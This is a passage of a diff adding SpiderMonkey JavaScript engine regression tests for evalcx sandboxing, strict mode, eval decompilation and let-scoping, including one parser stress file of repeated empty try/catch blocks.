--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-555246-1.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ f = cx.f;
+ assertEq(f(), cx);
+
+ evalcx("function g() { 'use strict'; return this; }", cx);
+ g = cx.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559402-1.js b/js/src/tests/js1_8_5/regress/regress-559402-1.js
new file mode 100644
index 000000000..d37c2bfa7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559402-1.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "No error";
+var actual = expect;
+
+if (typeof options == "function") {
+ var opts = options();
+ if (!/\bstrict\b/.test(opts))
+ options("strict");
+ if (!/\bwerror\b/.test(opts))
+ options("werror");
+}
+
+try {
+ eval('function foo() { "use strict"; }');
+} catch (e) {
+ actual = '' + e;
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559402-2.js b/js/src/tests/js1_8_5/regress/regress-559402-2.js
new file mode 100644
index 000000000..ca0988cbb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559402-2.js
@@ -0,0 +1,8 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = undefined;
+var actual = (function foo() { "bogus"; })();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559438.js b/js/src/tests/js1_8_5/regress/regress-559438.js
new file mode 100644
index 000000000..c2b440c18
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559438.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+function f(x) { return 1 + "" + (x + 1); }
+reportCompare("12", f(1), "");
+var g = eval("(" + f + ")");
+reportCompare("12", g(1), "");
diff --git a/js/src/tests/js1_8_5/regress/regress-560998-1.js b/js/src/tests/js1_8_5/regress/regress-560998-1.js
new file mode 100644
index 000000000..4aa25fd7a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-560998-1.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jesse Ruderman
+
+for (let j = 0; j < 4; ++j) {
+ function g() { j; }
+ g();
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-560998-2.js b/js/src/tests/js1_8_5/regress/regress-560998-2.js
new file mode 100644
index 000000000..24491a1be
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-560998-2.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var x = {};
+for (var i = 0; i < 2; i++) {
+ Object.defineProperty(x, "y", {configurable: true, value: function () {}});
+ x.y();
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-561031.js b/js/src/tests/js1_8_5/regress/regress-561031.js
new file mode 100644
index 000000000..944a22ee1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-561031.js
@@ -0,0 +1,1830 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Gary Kwong
+ */
+
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
